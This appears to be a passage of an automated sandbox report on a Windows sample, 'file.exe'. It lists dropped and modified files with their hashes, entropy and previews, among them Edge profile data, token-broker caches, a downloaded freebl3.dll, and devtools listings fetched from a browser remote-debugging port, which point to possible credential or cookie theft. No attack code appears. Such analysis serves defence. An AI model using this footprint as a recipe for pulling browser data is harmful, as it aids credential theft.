Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.025547697448193
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXxRkP4n:YWLSGTt1o9LuLgfGBPAzkVj/T8lhRkwn
MD5:	6D45FF18043B575FC8D4F1EF12468235
SHA1:	EB0E4D6CB91C63776FFBB2FBE880A9A733A833C5
SHA-256:	371A2ADADDBF0997C0DA1FAA4B4E48DC0CB4E82C0217CD8A1DA8450F63C7B185
SHA-512:	2795E0E25093D3313F23F7E92F1BE7F1F8D58F657555D345083AB07EE22CBC2F07C6C688F2BD4FF921C2F7198092880C2A69440567A7F570F5B1D1EC441DE8A1
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732682494963134}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a44cab7d-2f38-40a2-b8b7-b61a988e0db9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46424
Entropy (8bit):	6.088078296613335
Encrypted:	false
SSDEEP:	768:N5MkbJrT8IeQc529XDyi1zNt5HL9eKjto0zHCiUIQmxgpCiocJDSgzMMd6qD47uM:N5Mk1rT8Hu9vL9/sIQ9FoctSmd6qE7x
MD5:	934F49E5E7CE1E1423541E8EB6C5AC94
SHA1:	0BA1F2125538FCC77F81940841DC69C00DC20A1B
SHA-256:	AAB54C5C4516730AA4410B63CB9F16B20920B59F34EB91CCA378BDF0EEDDC12B
SHA-512:	DD1671BCBD5528BF40F5A2F55D2773214217B9D7FB550CBD027023D768DE64A05AE08640B82E2F10B46B44D0C2F68B9C821DBDECC43B0821F7A5039DA73E4BB8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377055290671990","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"44c020de-e6a7-4e41-80fb-95816e2c0ce0"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c7147c8c-882a-404b-973c-3c0830e0c56f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089802666927576
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWvdi1zNtPM1kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynJSkzItSmd6qE7lFoC
MD5:	8C609BEB31BBD249F16EFA0395E39A17
SHA1:	6AD986CF6414A4ACAC194F64D249CE1B75F7EAE0
SHA-256:	CFF016CA568DFB733934BFCFC30272852CD0ECC320B9E4E473C1325396C2DC49
SHA-512:	880023E0B7719EE1B04052CB81673165ECFF03C8871ECE80A7A29B1E00B615EE05F45D662D197FC5456D05BB55AAE85116CD8069AE662C70B36D5ACA59148105
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ca355e99-422a-492a-b697-8c5db69fdf5b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44988
Entropy (8bit):	6.096209253269537
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWgzi1zNt5HL9eKa9to0zHCiUKJDSgzMMd6qD47u3+7:+/Ps+wsI7yOQL9/aqKtSmd6qE7lFoC
MD5:	B6F4C441A692FE9705220609E7AD329B
SHA1:	B5BBD0E2FBF8053B584398ABF8CC87D5FC96A633
SHA-256:	F0AC7AE0F5E79DD9BCD00DFC36ECAEE8BC6C4434F47B7E807CCCF30732E9E490
SHA-512:	C1B3974AFF859992C3125FF2478907AC6C914D0BA3D3E2B2B72ACF7642055E51DE11711C915DBF0BBA630ED78D0DCBA0B6F06F7228DE08FF82D901D8941B5501
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\dc2665ed-7edb-45ac-bd96-9937f012239f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46347
Entropy (8bit):	6.088156418846872
Encrypted:	false
SSDEEP:	768:N5MkbJrT8IeQc5dKXDyi1zNt5HL9eKa9to0zHCiUIQmxgpCiocJDSgzMMd6qD47x:N5Mk1rT8H1KvL9/aqIQ9FoctSmd6qE7x
MD5:	4495A65014C06A784BD3CD26CB8ED06E
SHA1:	A6B900A0E6A55A895101538F74AEBBA015FCD839
SHA-256:	0400467FA3BD3F6A1E335FB1356D6E0BA02C6641F6F3CCA4BABB63522722DD26
SHA-512:	FE2980BBEB7BFF0C9990D248B2D6C8290472854405218ECB580D1BA33D5539E22BF02C2260F215CDF7DEEEF06AF1E5D6279B8D59D1A2AF23AFEA6D972200DC2E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377055290671990","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"44c020de-e6a7-4e41-80fb-95816e2c0ce0"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f99a479d-61d2-4d87-9b0c-d102b96d7701.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44906
Entropy (8bit):	6.096130426542696
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxzi1zNt5HL9eKaNMSWuFUxUjKJDSgzMMd6qD47u3S:+/Ps+wsI7ynbL9/atKtSmd6qE7lFoC
MD5:	A85D968FF2B324CFD69B767F041BD8FF
SHA1:	0ADB7A420AA04156F0592BD9D114969BA43C28DA
SHA-256:	3B33AC6A2825F6DA12AED9D2CE8CD4BB65B0D2724F7D4F573E637E00AC6EABDB
SHA-512:	53B6E2C191CD01C22D2F9B91593E525BB8F677AB255A9ED3989440BD9CD9D466E5F2F01DE10CF1A0123CD9212811002506E00702DC85DD369389AFBC59E5B4B6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8284759698087782
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxVxl9Il8uRdyedZJIur5mfxKhvid1rc:mwY8eV52xKhvB
MD5:	75C4ED71BB710AFBADD6B12F4A085DA5
SHA1:	415AB390AD383904019DF60DBAC7727770CCC0E4
SHA-256:	A86D379CB8A231B007D3202E4D6E10A2E9BA3EAF863C8A9817B6956D0B44E8C8
SHA-512:	772EFF396C7A32B1922E598DA3CBDBFB073EFE240A98D991D0C30797FE732F08878A4E41241FEC09CABE0CA007CF81DCEE05D0DDDE4DCC180C794BB27DD052F5
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.N.s.p.U.6.Q./.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.y.4.R.j.l.R.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.000425612831258
Encrypted:	false
SSDEEP:	96:8YnSpkR5+BhhT3xDQAAeX1I2Mkm+dUZkcPf:8wSpkRcBj3xDaH2MkmKxC
MD5:	E840D91413FC37EDDEA78287F50321A5
SHA1:	FD39E92AA3EEA539049E1CD72A1242C8A88F715C
SHA-256:	A6213E2CAA1C409BDF3CE571ABA8E346C73D34CCE19113D3D5497EBB6A17570B
SHA-512:	5023F2769FBD3FD401073BB650F8A4B0AC4B4D8EFC02877C63A64EBA9562C5038882291F8CBEFB337385BD7BE8F90BAD61EB06FA4251F7DF577C7CF53A074EC5
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".Z.w.K.g.O.J.w./.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.y.4.R.j.l.R.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.894991206610636
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xZxl9Il8uflk/7XPmcZ9Z+ZeZtKsOEd/vc:aXY5q/LTZ9ZUe+sON
MD5:	AB93ED2439197B2E0C5CD2300A6D5B91
SHA1:	99D14349192D9351B89CCC4FC7C56029DD5B6C9B
SHA-256:	6FD54E9A3611C051D622A19CF35188ABE630B5FDCBDB3B198FEDCBA98B11F2E2
SHA-512:	241DF36855AC8D7713F88A0D76B2231F01E16140557343E500737D1EE71A36A30B58B1BCEA7EB1F81FE02975844893E6A8F6B4260805B1A9DED94A11D122EE45
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".S.6.D.q.a.G.1.e.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.y.4.R.j.l.R.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.396037050300822
Encrypted:	false
SSDEEP:	96:6NnQIVVV1HQIV6NnQgbQyNnQ49QUNnQBdgEQrNnQYQBNnQ7wNDQ7wNnQYwQQNnQQ:6NJTb6NbNJNoiN+NcwNQwNfcNz
MD5:	EE608C77D60C620CBAE0A61C6526970B
SHA1:	537C6DC993D6CAA9758425C7D3B82EAA5AAF761B
SHA-256:	80095A6BA3B4A0FB366A5BE5E20B5A243A69EC2829A9D9C155E19EFA63FB6A03
SHA-512:	6C65F75E72FCB78CBF602C81D5E1B3D710FABD8453B08BF90EEB670A6B93B213F830B886EE9C1C878C3D2D853073058326BB618724063555AB42C36203DDB1C1
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/EDC3BE3A42A06A32530F1553B65AB285",.. "id": "EDC3BE3A42A06A32530F1553B65AB285",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/EDC3BE3A42A06A32530F1553B65AB285"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/CAAC32E2545B2B5009B7894C67AB68EA",.. "id": "CAAC32E2545B2B5009B7894C67AB68EA",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/CAAC32E2545B2B5009B7894C67AB68EA"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.3803669730816255
Encrypted:	false
SSDEEP:	48:SfNaoQ62VTEQ6rfNaoQBpcQBPfNaoQ2mDm4Q2owfNaoQvWmC0UrU0U8QG:6NnQ62VTEQ6DNnQsQNNnQ2mDm4Q2jNnv
MD5:	68A450F42D23830A357AF3EFCE0FBD15
SHA1:	B7011F493465D785F2F2DA70CDCB880B4B4AE386
SHA-256:	1D575FCB75BE4C7909EA3E1D4BE5910D9EE453ECBFB184F51069F19C49E2F383
SHA-512:	2B4EAE811D4D5F94FF579C6447855B2B86C494A61F938FE7879A6CD272810290E6F1A961AF951697D19DC6D98BF971691E7F298539034A1AD01529007935516C
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/2D5309C8272EEE6A4B5B408F8FCFC195",.. "id": "2D5309C8272EEE6A4B5B408F8FCFC195",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/2D5309C8272EEE6A4B5B408F8FCFC195"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/C18DC2F385D896AEFFF6D927CAC5E690",.. "id": "C18DC2F385D896AEFFF6D927CAC5E690",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": 